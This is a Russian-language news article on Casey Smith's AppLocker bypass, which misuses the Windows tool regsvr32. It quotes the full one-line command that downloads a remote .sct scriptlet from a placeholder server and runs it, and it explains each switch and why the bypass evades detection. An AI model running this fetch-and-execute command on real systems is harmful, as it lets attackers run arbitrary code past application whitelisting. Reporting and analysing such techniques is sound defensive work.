Windows AppLocker впервые появился в системах Microsoft с релизом Windows Server 2008 R2 и Windows 7. По сути, эта функция позволяет администратору задавать определенные правила для приложений, определяя, что может и чего не может запустить пользователь или группа пользователей. К примеру, можно запретить запуск на компьютере любых программ, которые не относятся к рабочей деятельности сотрудника.
Независимый исследователь Кейси Смит обнаружил интересный способ
обхода Windows AppLocker. Все, что нужно для атаки, — короткая команда, код которой уместится даже в один твит:
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
Regsvr32 является частью ОС и может использоваться для регистрации или отмены регистрации файлов COM скриптов в реестре Windows. Смит обнаружил, что Regsvr32 способен обработать URL и доставить на машину заданный файл через HTTP или HTTPS. Если разбирать команду Смита, /s в коде обязывает Regsvr32 работать тихо, /n приказывает не использовать DllRegisterServer, /u означает, что мы пытаемся осуществить отмену регистрации, а /i отвечает за ссылку и DLLinstall. В свою очередь, scrobj.dll — это Script Component Runtime.
Фактически Смит предложил использовать не по назначению Regsvr32
и с его помощью скачать из интернета определенный файл. Смит добавил немного JavaScript к своему XML-файлу и инициировал его исполнение через запрос на отмену регистрации .DLL: при запуске такой XML способен запустить любой exe-файл, и тут уже не важно, какие ограничения установлены в AppLocker.
Атака Смита не требует привилегий администратора, может быть выдана
за обычную сессию HTTP и не оставляет следов на жестком диске жертвы, так как работает непосредственно с памятью. Никаких патчей на данный момент не существует, разве что Regsvr32 можно отрезать от интернета при помощи файрвола.